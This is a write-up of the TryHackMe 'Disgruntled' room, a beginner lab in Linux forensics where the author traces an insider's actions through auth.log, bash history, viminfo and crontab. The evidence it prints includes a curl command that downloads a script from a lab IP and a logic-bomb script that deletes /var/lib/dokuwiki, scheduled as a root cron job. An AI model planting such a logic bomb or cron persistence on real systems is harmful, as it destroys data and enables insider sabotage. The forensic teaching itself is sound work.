TryHackMe: Disgruntled

The following writeup covers the Disgruntled room hosted on TryHackme. This room is entirely concerned with using digital forensic techniques on a Linux host to answer a series of questions. It was a really fun room and is super basic making it very beginner friendly.

Scenario: An employee from the IT department of one of our clients (CyberT) got arrested by the police. The guy was running a successful phishing operation as a side gig. CyberT wants us to check if this person has done anything malicious to any of their assets.

The user installed a package on the machine using elevated privileges. According to the logs, what is the full COMMAND?

All the commands that are run on a Linux host using sudo are stored in the auth log which is located at /var/log/auth.log*. We can read this log using the cat command and filter for commands using grep like as follows:

```
cat /var/log/auth.log* | grep -i COMMAND
```

```
PWD=/home/ubuntu ; USER=root ; COMMAND=/bin/date -s last year
PWD=/home/ubuntu ; USER=root ; COMMAND=/bin/nano /etc/ssh/sshd config
PWD=/home/ubuntu ; USER=root ; COMMAND=/bin/systemctl restart ssh
PWD=/home/ubuntu ; USER=root ; COMMAND=/usr/sbin/useradd -m cybert -s /bin/bash
PWD=/home/ubuntu ; USER=root ; COMMAND=/usr/bin/passwd cybert
PWD=/home/ubuntu ; USER=root ; COMMAND=/usr/sbin/visudo
PWD=/home/cybert ; USER=root ; COMMAND=/usr/bin/apt install dokuwiki
```

What was the present working directory (PWD) when the previous command was run?

The present working directory (PWD) can be seen in the previous question:

```
PWD=/home/cybert
```

Which user was created after the package from the previous task was installed?

We can modify the same command as used for the previous 2 question to filter for commands which contain the adduser keyword:

```
cat /var/log/auth.log* | grep -i COMMAND | grep adduser
```

```
COMMAND=/usr/sbin/adduser it-admin
```

The name of the user is ‘it-admin’.

A user was then later given sudo privileges. When was the sudoers file updated?

Using the same command, we can filter for the visudo keyword. This is because visudo is called when editing the /etc/sudoers file like stated in the hint:

```
cat /var/log/auth.log* | grep -i COMMAND | grep visudo
```

```
Dec 28 06:27:34 ip-10-10-168-55 sudo:    cybert : TTY=pts/0 ; PWD=/home/cybert ; USER=root ; COMMAND=/usr/sbin/visudo
```

A script file was opened using the "vi" text editor. What is the name of this file?

```
cat /var/log/auth.log* | grep -i COMMAND | grep vi
```

```
COMMAND=/usr/bin/vi bomb.sh
```

What is the command used that created the file bomb.sh?

When we investigated the auth.log for the previous question, we can see that the it-admin user ran the command. We can read their .bash_history file to determine the command that was used to create the script file:

```
cat it-admin/.bash_history
```

```
whoami
curl 10.10.158.38:8080/bomb.sh --output bomb.sh
```

As you can see, curl was used to download the script file. The answer is: 'curl 10.10.158.38:8080/bomb.sh --output bomb.sh'.

The file was renamed and moved to a different directory. What is the full path of this file now?

The .viminfo file stored in it-admin's home directory contains where the file is currently located:

```
/home/it-admin# cat .viminfo
```

```
# Jumplist (newest first):
-'  6  0  /bin/os-update.sh
|4,39,6,0,1672208992,"/bin/os-update.sh"
-'  1  0  /bin/os-update.sh
|4,39,1,0,1672208955,"/bin/os-update.sh"
```

When was the file from the previous question last modified?

You can use the stat command followed by the file to find when it was last modified:

```
root@ip-10-10-166-141:/bin# stat os-update.sh
  File: os-update.sh
  Size: 325             Blocks: 8          IO Block: 4096   regular file
Device: 10302h/66306d   Inode: 26          Links: 1
Access: (0644/-rw-r--r--)  Uid: (    0/    root)   Gid: (    0/    root)
Access: 2024-08-03 07:43:01.087999346 +0000
Modify: 2022-12-28 06:29:43.998004273 +0000
Change: 2022-12-28 06:29:43.998004273 +0000
 Birth: -
```

The answer is 'Dec 28 06:29'.

What is the name of the file that will get created when the file from the first question executes?

If you read the os-update.sh file using cat or any other similar command, you can determine that it echos a string to a txt file called goodbye.txt:

```
root@ip-10-10-166-141:/bin# cat os-update.sh
# 2022-06-05 - Initial version
# 2022-10-11 - Fixed bug
# 2022-10-15 - Changed from 30 days to 90 days
OUTPUT=`last -n 1 it-admin -s "-90days" | head -n 1`
if [ -z "$OUTPUT" ]; then
        rm -r /var/lib/dokuwiki
        echo -e "I TOLD YOU YOU'LL REGRET THIS!!! GOOD RIDDANCE!!! HAHAHAHA\n-mistermeist3r" > /goodbye.txt
fi
```

At what time will the malicious file trigger?

The file most likely has a crontab set, we can see if that is the case by entering:

```
cat /etc/crontab
```

```
# m h dom mon dow user  command
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
0 8     * * *   root    /bin/os-update.sh
#
```

This means that the crontab will execute the bash script at 08:00 AM.